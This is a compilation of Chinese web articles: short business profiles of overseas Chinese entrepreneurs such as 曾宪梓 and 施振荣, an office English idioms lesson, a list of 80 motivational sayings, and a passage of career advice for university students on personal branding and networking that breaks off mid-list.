  陈钱康1969年出生在瑞安市一个华侨世家,外祖父上世纪30年代末到海外,在法国开办皮包工厂、羊毛衫工厂。继1979年父亲到了法国之后,10岁的陈钱康和母亲及五个兄弟姐妹也陆续到了法国的南特市,后来全家又迁到了巴黎,家里开始创办自己的皮包厂。陈钱康16岁那年,由于姐姐们陆续出嫁,家里没了帮手,他便停了学,开始全心帮助父母创业,两年之后,父母放心地把工厂交给了他。  

  陈钱康曾想过,只要挣够100万元,就回中国去。可是才18岁,他就拥有了第一个100万。于是,意气风发的他有了更高的追求。从这一年起,陈钱康开始做起了外贸。1991年,21岁的陈钱康毅然放下法国的生意,远离了在法国的庞大亲族团,孑然一身到美国闯天下,去寻求更大的发展空间。  

  在美国,陈钱康一边进语言学校学英语,一边在一家服装厂打工。他在语言方面似乎有着超人的天赋,很快就过了语言关。一年之后,他开办了自己的第一家服装工厂。1994年又成立了FRED′S INT′L H ANDBAGS INC公司,还在深圳、香港设立工厂生产皮革产品,自行进行工艺设计、生产规划和进出口批发。由于产品款式新颖,品质优良,很受市场欢迎,于是,在法国、意大利等地也开设了分公司。  
  
  除了服装业和皮革业,陈钱康还顺应时代的发展,在纽约创建了一个叫做COPOST的网站,试着涉足电子商务领域。陈钱康把兴办这样的高科技企业当做自己在事业上的新起点,他后来之所以要投资温州数码城,也正是出于这样的目的。9年来,陈钱康一共办了8个公司,几近于一年创办一个,他通过电脑联网全盘指挥运作着这些公司。  

  年轻的陈钱康干什么事都十分认真有心,在他的身上,洋溢着新生代华侨的蓬勃朝气。陈钱康常说:人要有心,世界上每个角落都可以赚钱;只要认真,生命的意义就能得到彰扬,———这正是他从自己非凡的海外创业经历中得到的体验。  

  曾宪梓:走高档化之路  

  曾宪梓于1961年毕业于中山大学生物系,1963年到父亲侨居的泰国做小生意,1968年到香港创业,开始设计制造领带,创出了风行世界的领带名牌“金利来”。“金利来”之所以成为领带的世界名牌产品,曾宪梓之所以成为领带大王,就在于他吸取了失败的教训,走领带高档化之路。  

  当曾宪梓来香港创业的时候,他已经是34岁的人了。为了生计,他甚至给人家当过男保姆。曾宪梓的哥哥开着一家小小的领带店,这给曾宪梓打开了思路。比如香港有400万人口,即使每人头上一条领带,这也是一个非常大的数字。而曾宪梓经过调查发现,香港销售的领带大部分是进口货,本地的领带大多是规模很小的家庭作坊生产的,根本无法与进口货竞争。他当机立断,决定投资领带产业。  

  当时,曾宪梓的手中只有6000元港币,这是他惟一的所有,全家老小全凭这些钱来维持生活。曾宪梓因陋就简,把居室留出一半作工房,买一台缝纫机、剪刀尺子做工具,自己从买料、设计、裁剪到缝制、印烫一条龙。当第一批领带制作完成之后,曾宪梓又自己背着他的领带盒,四处推销。然而,市场无情地嘲弄着这位初出茅庐的新手,曾宪梓几乎跑遍了全香港的领带销售店,也没有推销出一条领带。  

  失败的痛苦在折磨着曾宪梓,但他的头脑却异常清醒:要打开局面,必须要走高档化的道路。他花高价买来最适合做领带的法国面料,然后吸取外国领带的长处,引进自己的新颖设计,精心加工。他把自己新做的领带样品与外国名牌领带混在一起,请一位领带专家鉴赏;那位专家竟没有丝毫怀疑地肯定这全都是外国货。曾宪梓马上借来一笔款子,精心加工了一批新的高级领带。  

  首先乐意为曾宪梓代销的商家是旺角瑞兴百货店,而且很快传来喜讯,该店的四打领带一销而空,因为顾客都看中了这些领带的高级面料、独特设计和精湛做工,瑞兴上门来要求继续进货,其他商店的订货单也纷至沓来,一人工厂已经不能应付了。曾宪梓招募了一批工人,扩大了生产规模,并为自己的领带起了充满活力的名字“金狮”,后来改为“金利来”,曾宪梓的领带王国就这样成立了。 

  邱德根:知其不可为而为之  

  邱德根是香港华人圈内能同“广东阔佬”对垒的“上海阔佬”,他在香港拥有的财产总值超过20亿港元。邱德根信奉的经商之道是:知其不可为而为之。  

  邱德根当年搞影剧业起家,在酒店、银行和地产业功成名就。到了晚年,即他60岁以后,又杀回影剧业重图发展。邱德根的子女们反对他再搞影视业,认为他年事已高、精力不济,是不可能在影视业玩得转的。邱德根偏不信这个邪,并且说干就干,很快收购了香港电视台。邱德根收购香港电视台后,将其更名为亚洲电视台,自任董事会主席,网罗一批人马,同邵逸夫的无线电视台唱起了对台戏。邱德根让儿子邱达成作帮手,重金聘请影视界名人负责节目制作。  

  当时,电影界的功夫片正红遍东南亚,“亚视”就以大拍功夫电视剧作为开端,于是《霍元甲》、《陈真》、《霍东阁》等很有吸引力的电视连续剧纷纷出笼,风靡了大陆内地及东南亚各国,由此派生的唱片、歌带、连环画在市场上也很走俏,“亚视”一炮打红。邱德根乘胜前进,大展宏图,投入巨资拍摄历史名人电视连续剧,顺理成章地又赚了一笔。  

  施振荣:研发是企业发展的命脉  

  台湾富豪施振荣出生于台湾彰化县,在台湾交大电子研究所获得硕士学位,发迹之后,成为台湾宏□关系企业集团的核心人物,在台电脑界有“龙头老大”的称号。他发迹的秘诀是:研究开发是企业成长生存的命脉,也是惟一使企业能够起死回生的救命神丹。  

  20世纪70年代初,施振荣到别人的公司任职,为人作嫁衣,倾注了四年心血,该公司却因资金周转不灵而宣告倒闭。于是他决定自己创业,不再替别人谋事,这是他一生的重要转折点。在宏□创业之后,施振荣与科研人员一起,每天从事研究工作长达16小时之多,研究出一种“天龙”中文电脑,因易学好用、设计精巧、功能比较完备,价格又低廉,因此而获得了台湾产品设计最高荣誉奖。此后,宏□几乎年年都有新产品问世,人们赞誉他为“微处理机的园丁”。施振荣接着把宏□电脑打入国际市场,在美国、西欧、中东等地设立了多处分公司,使营业额迅速超过60亿元新台币,成为台湾诸多电子企业中的一颗耀眼的明星。

  陈永裁:赚钱无禁区  

  菲律宾华人富豪陈永裁,祖籍福建晋江县。陈永裁毕业于菲律宾远东大学化学工程系,却在商界屡战屡胜、成就辉煌。他的哲学是:赚钱无禁区。  

  最初,陈永裁凭借母亲筹来的巨款投资于烟厂,生产面向大众的中档香烟。这种烟市场广大,行销很好,生产和盈利成倍增长。陈永裁抓住机会拼命扩展,不久即占有菲律宾70%的烟草市场,成为“烟叶大王”。  

  经营烟叶发了财,陈永裁并没止步,他看到菲律宾每年大量进口猪肉,决定投资养殖业。他在马尼拉市郊买下328公顷地种植饲料,又建起了一座大型自动化饲料厂和一个菲律宾空前规模的养殖厂,引进国外良种猪饲养,每年出栏肥猪18万头,成为亚洲最大、世界第三的养猪场。他斗胆进军风险性极强的养猪业,成了名副其实的“养猪大王”。之后,陈永裁开始在许多行业中同时施展拳脚,其中银行业的规模十分壮观,他名下的联合银行在菲律宾排名第七,拥有100多家分行。  

  各行各业,陈永裁未必样样精通。但是,工程师般的周密、经营家的气魄,使他的“赚钱无禁区”的豪言变成了活生生的现实。  

  李清泉:天时不如地利  

  菲律宾华人富豪李清泉,是著名的华侨企业家和华侨社团领袖。他所主持的李清泉父子有限公司,早在20年前就已成为菲律宾最大的木材企业。  

  李清泉信奉“天时不如地利”的哲学,认为“要发财莫若就地取材”。菲律宾是一个林业资源极为丰富的国家,经济森林占国有森林的一半以上,而且多属优质硬木,用途广泛。但由于历史的原因,未能得到很好开发。李清泉意识到,立足当地资源,将有大利可图。因此,他投巨额购买了菲律宾尼格罗斯省的山场,创办了现代化的锯木厂和制木公司。木材产品除在菲律宾国内销售外,主要出口到欧美和日本等国。后来,为了加速产品的运输及出口,李清泉又成立了专门的远洋运输公司,一举成为了菲律宾的大富豪。



外企office常用英语

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=71307
  
  1. In the middle of something?
  正在忙吗?
  
  我知道有许多许多的人, 对于某一种概念学会了一种说法之后, 从此就只会用这种说法. 例如‘你在忙吗?’这个句子, 很多人在国中起就
知道要说, "Are you busy?" 讲到了来美国留学三年, 他还是只会说 "Are you busy?". 其实有时候我们的眼界要放广一点, 对于同一个概念要有不同的变化. 就像是 "Are you busy?" 这句话, 其实老美也很常用 "In the middle of something?" , (但这句话比较接近于 "Are you busy right now?" 是问人家‘现在’是不是正在忙? "Are you busy?" 的含意比较广, 也可指‘最近’忙不忙?) 大家不要小看这么小小的变化, 如果你除了 "Are you busy?" 之外, 有时还懂得刻意去用 "In the middle of something?" 我相信你的的英文说出来就会跟别人不一样. 举个例子吧, 办公室里想找人八卦, 又怕人家正在忙, 这时你就可以问他, "In the middle of something?" (正在忙吗?)
  
  记得在不久之前看过的一部黑人电影 Down to Earth 中也有 in the middle of something 这个用法, 只不过男主角是用这句话来提出一个论点, "The first kiss is always in the middle of something." 也就是说, 初吻总是发生在讲话讲到一半时, 或是当你们正在作其它的
事情时, 通常是果不其然的. 他同时也觉得, "The first kiss is the only real kiss in your relationship." (只有初吻才是真正的吻), "The others are just protocols" (其它的都只是一种敷衍、虚应故事而已.)
  
  2. What are you up to?
  你正在作什么?
  
  跟上面的例子一样, ‘你正在作什么啊?’这句话通常我们就只会说, "What are you doing?" 这样子不会很无聊吗? 其实有时我们可以换句话说. 例如: "What are you up to?" 同样也是问人家你正在作什么. 承上例, 假设你在办公室里, 你想找人八卦, 所以问同事, "In the
middle of something?" 他回答, "Kind of." (算是吧.) 这时你就可以打破砂锅问到底, "What are you up to?" (那你最近在忙什么啊?) 另
外有时候老美见面时也会问 "What are you up to?" 意思就是问你最近在作什么啊? 跟另一句问候语 "What's up?" 意思上很接近. 但是你要听对方的语气喔! 有时候 "What are you up to?" 指的虽然还是 "What are you doing?" 但它却是‘你在搞什么鬼啊?’的意思喔! 例如当你看到别人在乱翻你的东西, 你就可以责问他, "Hey, what are you up to?" 也就是骂他‘你在搞什么鬼啊?’. 或是像电影 Blow 里毒贩的老爸骂他的儿子, "I know what you are up to." (我知道你在干些什么勾当.) 以上这些例子里, "What are you up to?" 完全可以用 "What are you doing?" 来取代, 只不过因为我们在说话时要力求变化, 所以要多学几种不同的讲法.
  
  其实 "What are you up to?" 还有许多其它的意思, 在此不一一列举, 不过还有一个比较常用的解释是, ‘进展的如何了?’例如朋友告
诉你他正在写一部武侠小说, (就像我的 labmate 一样), 你就可以问他, "What are you up to?" (进展的如何了), 而他的回答可能是, "I
am writing Chapter 3 now." 我现在正在写第三章呢.
  
  3. Can you just give me a ballpark figure?
  能不能给我一个大概的数字.
  
  Ballpark 指的是专供球类比赛的公园, 特别是指大型的棒球场. 例如亚特兰大勇士队 (Atlanta Braves) 的主场, Turner Field 就是一
个 ballpark. 那什么是 ballpark figure 呢? 通常在棒球比赛时不是都会报今天的观众人数, 例如是 49,132 人吗? 这个数字 49,132 就是
ballpark figure, 但这只是一个大约的估计数字而已, 所以 ballpark figure 的意思就是指大约的估计数字. 所以在公司里如果老板问会计,
上个月水电费总共多少钱? 之后再加上一句, "Just give me a ballpark figure." 意思就是我只要一个大略的数字就行了. 甚至有些老美懒到就只说 ballpark, 所以老板也有可能会说, "I'll need a ballpark of the revenue last year." (我需要去年的营收的大约数字.) 你就要自己知道这个 ballpark 是 ballpark figure 的意思.
  
  其实很多像 ballpark 这种有点俚语的讲法, 你去问美国人, 我保证他们百分之九十九点九都知道 ballpark 的意思. 但是有很多外国人, 不管他们的英语再流利, 不管在美国住多久, 却还是常常会有听不懂的状况. 像小笨霖的指导教授是欧洲人, 但在美国也待超过十年了, 英语的流利自然是不在话下. 可是呢? 有一次我跟她说 "I can only give you a ballpark." 她却问我 ballpark 是什么意思. 我讲这个小故事给各位听的原因, 就是告诉你们拿这种俚语去跟美国人交谈, 通常是没问题的, 但是如果去跟英语同样也很流利的老印, ABC, 或是在美国住了很久的外国人, 则不保证他们能听得懂.
  
  4. Bottom line: We have to turn into profit by 2002.
  最重要的是: 我们必须在 2002 年前转亏为盈.
  
  大家看过财务报表没? 上面是一大堆密密麻麻的数字, 告诉你公司的资产有多少, 折旧多少, 应收帐款多少. 但是这些都不是最重要的, 最重要的在最最下面那一行 (bottom line), 叫净赚 (Net earnings) 告诉你这家公司总共加起来到底是赚钱还是赔钱, (这其实才是最重要的
, 不是吗?) 所以 bottom line 这个字后来就变成了有‘最重要的是...’的意思. 例如商场上有句名言, "In business, If you don't take care of your customers, somebody else will. And that is the bottom line." (如果你不关心你的顾客的话, 其它的人会, 这是最重要的原则. ) 另外 bottom line 也有‘最后的底限’,‘不能再退让的原则’的意思. 例如老板可以告诫员工, "Bottom line: We have to ship this order by Friday." (我最后的底限是, 我们必须在星期五前运交这批货. )
  
  5. The new CFO was sent to bring the company out of the red.
  这位新的财务长被派来把公司从赤字中拯救出来.
  
  中国人喜欢红色, 所以股市大涨时盘面上都是红通通的一片. 不过欧美国家对红色的认知则大不相同, 红色就表示亏损, 赤字. 像之前提
到的 bottom line 如果是用红笔写的, 那就是表示公司整体上来说是赔钱的. 相反的如果是用黑笔写的, 则表示是赚钱的. 所以我们常可以听
到 in the red 或是 in the black 这样的讲法, 其实就是指公司赚不赚钱. 当然啦, 我们也可以用最简单的讲法, lose money 和 make
money 或是形容词 unprofitable 和 profitable来表示赔钱或赚钱. 例如这家公司是赚钱的, 你可以说, "This company is in the black.",
"The comapny is making money." 或是 "The company is rofitable." 都可以.
  
  讲到这个 profitable 让我不得不提醒大家 non-profit 这个字, 因为常常有人会搞错. Non-profit 这个字指的并不是说不赚钱的, 而是
说‘非营利性质的’, 例如像消费者文教基金会我们就可以说他是一个 non-profit organization, 非营利机构, 这种组织就不是以赚钱为目
的. 但 nonprofitable 的话则是指不赚钱的就等于 unprofitable 或是 non-profit-making.
  
  6. Shelly just called in sick.
  Shelly 刚打电话来请病假.
  
  Call in sick 是一个在办公室内常会用到的片语, 指的是有人打电话来说他生病了不能来上班. 有兴趣听老美讲这句话的人不妨去看 看"What Women Want?" (男人百分百) 这部电影, 我记得他们就有用 "call in sick" 这个片语. 当然啦, 这种事想也知道一定有相当的比例是偷懒而不想来上班而已, 不然就是员工找借口集体罢工, 例如 "Some workers called in sick to have a strike." (有些工人藉由集体打电话请病假来罢工.)
  
  那如果是正常的请病假 (sick leave/ medical leave) 要怎么讲? 你可以说, "I need a sick leave for two days." (我需要请两天病假.) 或是如果是因为老婆要分娩了, 想要请事假 (personal leave), 你可以说, "I'm asking for a three-day paid/unpaid personal leave for my wife's labor." (因为我老婆要生了, 我想要请三天假.) 至于这个假是扣不扣钱? (paid/unpaid) 就看公司的政策而定了.
  
  7. I just heard that seven people are going be laid off next month.
  我刚听到公司下个月要裁七位员工.
  
  最近失业率不断上升, 我也就顺便来谈谈裁员的话题. 公司要裁员的讲法有许多种, 其中最常见的不外是 layoff 这个字 (如果分开来写:
lay off 是动词, 但合起来写 layoff 则是名词) . 例如, "Cisco issues a profit warning, plans layoffs." (思科发布盈余警讯, 计划裁员.) 当然还可以用比较口语的讲法说, cut jobs 或是 slash jobs, 例如上一句我们也可以说, "Cisco plans to cut/slash jobs." (思科计划裁员.) 据路边马路消息说, 由于 layoff 最近在英语中的出现频率排名大幅成长, layoff 这个字将会被收录在最新的英文常用 3000 字汇当中. ^__^
  
  要是真的不幸在美国被裁员了怎么办? 先记住两句话再说, 第一句是, "Whose decision was this?" (这是谁的决定.) 俗语说冤有头债有
主, 先问清楚了是谁动你的, 将来要把汽车轮胎放气才知道要放哪一台. 另一句话就是, "I am between jobs." 这句话在找新工作时很好用.

人家问你现在在作什么, 你不要呆呆地说, "I just got laid off." 多难听啊! 你应该说, "I am between jobs." 我正好在两个工作间的空档. 听起来比较委婉 这可是之前刚被裁了员的好友 Joseph 教我的, 他就因为很会讲这句 "I am between jobs." 目前已经在德州休士顿找到新工作了.
  
  8. He suggested we should go to eat after my graveyard shift.
    他建议说我们可以在我的大夜班之后一起去吃东西.
  
  轮班这个字在英文里叫 shift, 例如三班制就叫 three shifts. 例如, "We have to work in three shifts to keep the company running." (我们必须轮三班制来保持工厂的运转.) 我想大家都知道三班制就是日夜, 小夜班和大夜班. 在英文里日班就是 day shift 或是 regular shift, 小夜班是 night shift. 那大夜班呢? 有一个很有趣的讲法, 叫 graveyard shift. 所以如果你要说明自己上的是大夜班, 就
可以这样说, "I work on the graveyard shift."
  
  至于为什么叫 graveyard shift 呢? 其中有一个广为流传的故事是这么说的, 在十九世纪时, 人们有时候会不小心把还活着的人当成*人埋掉. 为了避免这种悲剧发生, 所以他们在每个棺材里都装上电铃, 以便让这些意外醒来的‘尸体’能够按铃求救. 也因此必须另外安排一位仁兄晚上时在墓地 (graveyard) 里巡查, 以便有人按铃时能即时通知家属. 所以大夜班后来就以此得名, 成为了 graveyard shift. 至于你相不相信这种传说呢? 就看你自己了!


值得珍藏的80句话值得珍藏的80句话

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=11764

01.每天告诉自己一次,『我真的很不错』。
02.生气是拿别人做错的事来惩罚自己。
03.生活中若没有朋友,就像生活中没有阳光一样。
04.明天的希望,让我们忘了今天的痛苦。
05.生活若剥去理想、梦想、幻想,那生命便只是一堆空架子。
06.发光并非太阳的专利,你也可以发光。
07.愚者用肉体监视心灵,智者用心灵监视肉体。
08.获致幸福的不二法门是珍视你所拥有的、遗忘你所没有的。
09.贪婪是最真实的贫穷,满足是最真实的财富。
10.你可以用爱得到全世界,你也可以用恨失去全世界。
11.人的价值,在遭受诱惑的一瞬间被决定。
12.年轻是我们唯一拥有权利去编织梦想的时光。
13.青春一经典当即永不再赎。
14.没有了爱的语言,所有的文字都是乏味的。
15.真正的爱,应该超越生命的长度、心灵的宽度、灵魂的深度。
16.爱的力量大到可以使人忘记一切,却又小到连一粒嫉妒的沙石也不能容纳。
17.当一个人真正觉悟的一刻,他放弃追寻外在世界的财富,而开始追寻他内心世界的真正财富。
18.只要有信心,人永远不会挫败.
19.不论你在什么时候开始,重要的是开始之后就不要停止。
20.不论你在什么时候结束,重要的是结束之后就不要悔恨。
21.人若软弱就是自己最大的敌人。
22.人若勇敢就是自己最好的朋友。
23.『不可能』只存在于蠢人的字典里。
24.抱最大的希望,为最大的努力,做最坏的打算。
25.家!甜蜜的家!天下最美好的莫过于家。
26.游手好闲会使人心智生锈。
27.每一件事都要用多方面的角度来看它。
28.有理想在的地方,地狱就是天堂。
29.有希望在的地方,痛苦也成欢乐。
30.所有的胜利,与征服自己的胜利比起来,都是微不足道。
31.所有的失败,与失去自己的失败比起来,更是微不足道。
32.上帝从不埋怨人们的愚昧,人们却埋怨上帝的不公平。
33.美好的生命应该充满期待、惊喜和感激。
34.世上最累人的事,莫过于虚伪的过日子。
35.觉得自己做的到和不做的到,其实只在一念之间。
36.第一个青春是上帝给的;第二个的青春是靠自己努力的。
37.少一点预设的期待,那份对人的关怀会更自在。
38.思想如钻子,必须集中在一点钻下去才有力量。
39.人只要不失去方向,就不会失去自己!
40.如果你曾歌颂黎明,那么也请你拥抱黑夜。
41.问候不一定要慎重其事,但一定要真诚感人。
42.人生重要的不是所站的位置,而是所朝的方向。
43.当你能飞的时候就不要放弃飞。
44.当你能梦的时候就不要放弃梦。
45.当你能爱的时候就不要放弃爱。
46.生命太过短暂,今天放弃了明天不一定能得到。
47.天才是百分之一的灵感加上百分之九十九的努力。
48.人总是珍惜未得到的,而遗忘了所拥有的。
49.快乐要懂得分享,才能加倍的快乐。
50.自己要先看得起自己,别人才会看得起你。
51.一个今天胜过两个明天。
52.要铭记在心;每天都是一年中最美好的日子。
53.乐观者在灾祸中看到机会;悲观者在机会中看到灾祸。
54.有勇气并不表示恐惧不存在,而是敢面对恐惧、克服恐惧。
55.肯承认错误则错已改了一半。
56.明天是世上增值最快的一块土地,因它充满了希望。
57.理想的路总是为有信心的人预备着。
58.所有欺骗中,自欺是最为严重的。
59.人生最大的错误是不断担心会犯错。
60.把你的脸迎向阳光,那就不会有阴影。
61.经验是由痛苦中粹取出来的。
62.用最美的回忆面对过去。
63.用最少的浪费面对现在。
64.用最多的梦面对未来。
65.快乐不是因为拥有的多而是计较的少。
66.你的选择是做或不做,但不做就永远不会有机会。
67.如你想要拥有完美无暇的友谊,可能一辈子找不到朋友。
68.不如意的时候不要尽往悲伤里钻,想想有笑声的日子吧。
69.把自己当傻瓜,不懂就问,你会学的更多。
70.要纠正别人之前,先反省自己有没有犯错。
71.因害怕失败而不敢放手一搏,永远不会成功。
72.要克服生活的焦虑和沮丧,得先学会做自己的主人。
73.你不能左右天气,但你能转变你的心情。
74.孤单寂寞与被遗弃感是最可怕的贫穷。
75.想象力比知识更重要。
76.漫无目的的生活就像出海航行而没有指南针。
77.好好扮演自己的角色,做自己该做的事。
78.一切伟大的行动和思想,都有一个微不足道的开始。
79.得意时应善待他人,因为你失意时会需要他们。
80.学做任何事得按部就班,急不得.



  一、经营个人品牌

  曾经在一位师弟许哲的QQ签名上看到一句话:“如果不逃课可以找到好的工作,我想我不会逃课;如果做一个所谓的好学生可以进入理想的企业,我想我是一个好学生。”我想这一句话是当代大学生对于教育体制最深刻的评价。

  大学我们应该做些什么,才能进入理想的单位,才能找到一份好的工作呢?这里,请允许我把大学生比喻成一个商品,众所周知,商品的最终目的就是实现自我销售,那么,怎样才能达成这一目的,成功实现销售呢?

  我们先导入竞争这个概念。一个商品在市场上竞争,要获得竞争优势:一般有两种途径:“差异化”和“成本领导”。差异化就是你和别人有什么不一样,成本领导就是同样的产品你比别人更加便宜。作为一个人,谁都不想自己的工资拿的比别人低,谁都不想比别人便宜。况且现在每年就有超过30万大学毕业生从北方南下,涌向珠三角,他们到这里来的目的很简单,就是立足,只要能在广东呆下来,他们什么工资都可以接受,甚至只是每月500元的工资。但这个价码,可以说广东的大多数大学生都忍受不了,因为单只是计日常开销就远远不止这个数目了。

   所以作为一个人,我们的竞争优势就是差异化。如何实现差异化呢?就是经营个人品牌,打造个人核心竞争力。通俗一点说,就是把自己打造成“明星”!或许,我们不一定喜欢我们现读的专业,我们也不一定会从事我们的专业(现在从事自己本专业的大学生不够40%),但是有一点是可以肯定的,就是我们都有自己的优点,都有自己的优势。经营个人品牌,第一步就是经营自己的优势,把自己的优势做强。这个世界上没有完美的人,有缺点并不可怕,可怕的是我们没有优点,没有优势。《现在发现你的优势》一书已经说明,“每个人都有自己的天赋,如何运用你的天赋而已”。由小到大,我们都给“木桶原理”(一个木桶装水的量取决于最短的木板)困扰。其实这是一个错误的原理,如果我们把每块木板有机的排序,然后让他们形成的切面与地平面平行(就是把木桶倾斜到与地面平行),这样就可以装最多的水;另外就是做我们擅长的工作,在这个领域,我们工作效率将远远高于在我们不擅长的领域。如果你想装多一点说,应该最大限度的发挥你的优势,而不是不断的去祢补你的劣势。

   什么样才算优势?就是做第一,在你的优势方面做第一。先是班里第一,然后是学院第一,年级第一,全校第一(你一定可以找到工作),如果你做到全广州高校第一(你已经是明星了),无论在那个方面都可以,打篮球可以打到像姚明那样也是成功,踢足球可以踢到像齐达内一样也是成功,打游戏打到像SKY(WCGC WAR3世界冠军)一样也是成功,当然还有其他各个方面,例如音乐,唱歌等等,就是要做第一。从大一开始就定下一个目标,我要做学校那个方面的第一。就拿我来说吧,我在进入大学的时候,我就为自己定下一个目标,我要做华农公关第一人。我花了4年时间,不懈地向自己的目标前进,最后,我做到了。而且骄傲一点讲,可以说,到现在为止,还没有什么人敢在我面前说他在这个方面能超过我的。所以我根本就不担心找不找到工作,我只考虑究竟要去哪里工作。另外就是一个领先法则,世界首富第一位是比尔盖茨,大家都知道,第二位呢?很多人都忘记了;华人首富第一位是李嘉诚,第二位呢?忘记了。我们往往只会记住最好的和最差的,其他都忘记了。这个就是为什么我一直强调着要求大家去争第一。

  为什么要经营自己的优势?首先,差异化决定了我们要具备核心竞争力(比如说在某个方面得到第一),另外一个就是经营自己的优势,这远远比祢补自己的缺点的效率要高得多。因为你的优势是你喜爱的,是你的兴趣,是你的爱好,所以你愿意付出时间和精力,而且你做的时候会更加的集中。因为你经营了自己的优势,所以你在这个方面会比别人出色,在这个不断的比较中,你会树立自己强大的自信心,在树立自信心的同时,又由于你拥有了让别人欣赏和敬佩的地方,你将会得到良好的人际关系。这些都是经营自己的优势可以得到的。

  经营“个人品牌”就是使你与众不同。它是一整套具独特性质和特征的东西,它使你在人群里显得醒目,并使你令人难忘。人们像产品一样具有品牌,但这些品牌不是仅仅用一句词语或一个概念就能表达出来。姚明的品牌可能是“篮球明星、爱国者、高人”,刘德华的品牌可能是“帅气、歌星、勤奋”。人是复杂而多面的,但我们常常寻找捷径(几个词语或短句)来迅速概括他们的特点。当你不在场的时候,你的亲朋好友怎样描述你?你希望了解这个信息吗?当你需要依靠他们来为你安排和某人的首次见面,他们是怎样概括你的,这点很重要。通过他人的建议明确自己要强调哪些方面,并用一种独特而有利的方式扮演自己,以此来帮助他们把你复杂的全套品格传达给其他人。当第一次和别人约会时,你也希望强调这些同样的方面,因为在开始的几分钟里,别人将对你进行快速判断。在这个步骤里,你将学到怎样挑选可以变成自己个人品牌的三个形容词、三个短语或者三个标志符。这个品牌将迅速传达你是什么人,并使你和其他人区别开来。

  简单的例子来说明个人品牌,例如你电脑坏了,你第一个会想到谁,你遇到数学难题你会想到谁?这些就是他们的个人品牌。当然品牌是有知名度的,也是有价值的,我们都可以打造个人品牌,就是我上面所说的第一。除了成为第一是个人品牌的一种,另一个方面我们也可以是结合型人才。
  
  曾经有一个策划总监告诉我:他是学会计的,但是他现在做的是广告策划,做会计他不是最好的,做广告的他也不是最好的,但是他是成本控制很厉害的广告人,这个方面在广告界找不到几个人。而我对自己定位就是一个具有环保意识的公关人或者管理者,这是一个很好的专业与特长的结合点。

  个人品牌是在一定区域内或特定领域里的权威,一个值得信任的声音。个人品牌打造的两个方面,一个方面是优质的产品:自己的优势和人格魅力,另外一个方面是如何去传播个人品牌,传播可以有很多的方式,最直接的方式就是乐于与别人分享你的经验与成功(在你的优势方面),另外就是建立博客等平台,通过文字传播你的思想。

  最后,经营个人品牌是一辈子的事情,就像现在的名人和明星,相信在未来的日子里,朋友们都可以打造属于自己优良品牌,成为“明星”。
  
  建议阅读书籍:《现在发现自己的优势》,《你就是品牌》

  二、开拓人际关系

   大学里面我们应该做些什么?我们先看看名家对于成功的定义:

  成功=70%的人脉+30%的知识(卡耐基)
  在中国你想成功:需要80%的人际关系+15%的知识+5%运气
  一个人30岁前靠的是能力,30岁后靠的是关系。

  人际关系对于我们成功是非常重要的,对于我们失败也是非常突出的,美国70%的人辞职是因为人际关系处理不好。人际关系如此的重要,究竟什么是人际关系?

  社会心理学把人们在物质交往与精神交流中发生、发展和建立起来的人与人之间的直接的心理关系,叫做人际关系。这里有几个关键词要和大家好好探讨一下的,第一个是物质交往与精神交流,我们在进入大学以前的人际关系主要是精神交流为主,物质交往很少的,所以我们可以说友谊比较“柏拉图”。但是进入大学后,我们的交往中慢慢的会有更多的物质交往,到了社会我们的交往几乎都脱离不了物质交往了。人际关系和友情没有什么明确的界线,不是单单精神交流才能产生友谊,物质交往也可以产生友谊,所以并不是有了物质交往就没有友谊。很多人在这个方面都有误区.例如朋友介绍一个好的商品给他,他就会认为朋友在赚他钱,心里不舒服,有一句话说的非常好,世界上最有智慧的话:“天下没有免费的午餐!”每个人辛苦付出了都应该有回报,这个世界已经不是你死我活的,而是大家都活,大家都赢才可能生存和发展下去,人际关系也是人在物质交往中的相互利用。

  如果还不明白,我们就来核算我们大学以前的友情,说直接点。你失恋了,找朋友去喝酒,找朋友去谈心,你这种行为就是利用你的朋友付出的时间、感情和精力来缓解自己的痛苦与压力。当然如果你的朋友失恋了,他也可能找你,这个就是朋友间的精神交流方面的相互利用。(接下来会有专门从经济学的角度谈人际关系)也许我们不必要说到那么高尚,但这没有错,因为很多时候精神上的需要比物质上的需要更加强烈,一个人是无法活在这个社会上的。

  人际关系到底有多重要?

  人际关系的重要性,我们从企业招聘这个方面来阐述。首先这里介绍一下企业招聘的流程(大部分企业),如果一个企业有一个职位空缺了,第一步:这个职位是否有存在的必要性,如果没有其他人可否分担他的工作。第二步:如果是在不能取消,那么内部的人有什么人可以提升来担任这个职位。第三步:如果没有人适合提升来这个职位,内部人员有什么合适的人选来推荐。(华为员工有内部推荐权)第三步:如果没有合适的人选推荐才考虑,网上招聘,报纸招聘,宣讲会招聘,最后才是去招聘会设立摊位。而作为一个学生往往走相反的道路,就是先去招聘会,然后上网投简历。如果我们真的在大学里面经营好我们的人际关系,尤其是大一的时候认识大三大四的师兄师姐并且保持良好的联系,到了你毕业的时候,你就可以从他们那里得到足够的就业信息甚至工作。

  这里再说说人力资源主管或者总监,其实我们没必要怕他,很多时候,可以说他们比我们还害怕,假如他在招人前,对老板承诺说,他介绍的这个人非常厉害,可以招,但在招进来后,却发现这个人一无是处,那么结果很可能就是他和那个人一起走人。人才有一个很好的定义:就是合适的人到合适的职位,发挥超过100%的效益。扫大街的大妈把街道扫的非常干净,她就是个人才,但是如果把一个计算机很厉害的人,但是很内向的人,叫他去做公关,他是个人才吗?在招聘的时候也是一样,如果我是面试官,2个人来面试这个职位,一个我非常了解(大学的时候是我的师弟),我知道他适合那个职位,另外一个虽然简历上比他优秀,但是我不了解他,不知道他适合什么样的职位,我不会冒着给老板炒鱿鱼的风险去请那个我不了解的人。我这里要求大家注意在大学里经营人际关系,首先我并不是要你们去追求得到多少好处,真正主要的目的是让更多的人认识你,了解你,如此,才有进一步的可能,让他们把合适的机会或者工作介绍给你.如果你不让别人了解。他们不知道什么东西合适你,甚至不认识你,无疑你就错失了这些机会.现在这个世界上是“酒香也怕巷子深”。上个主题也讲了,个人品牌需要强大的传播。新东方的创业团队就是一个很好的例子,俞敏洪的创业团队都是他大学时候优秀的同学,老师与朋友,如果他们不认识俞敏洪,也许今天也就没有新东方的成功,也就没有今天的王强,徐小平,包凡一等等。
  
  为什么大学是开拓人际关系最好的场所和时机呢?
  
  大学与中学的不同:

  1、大学精英汇集
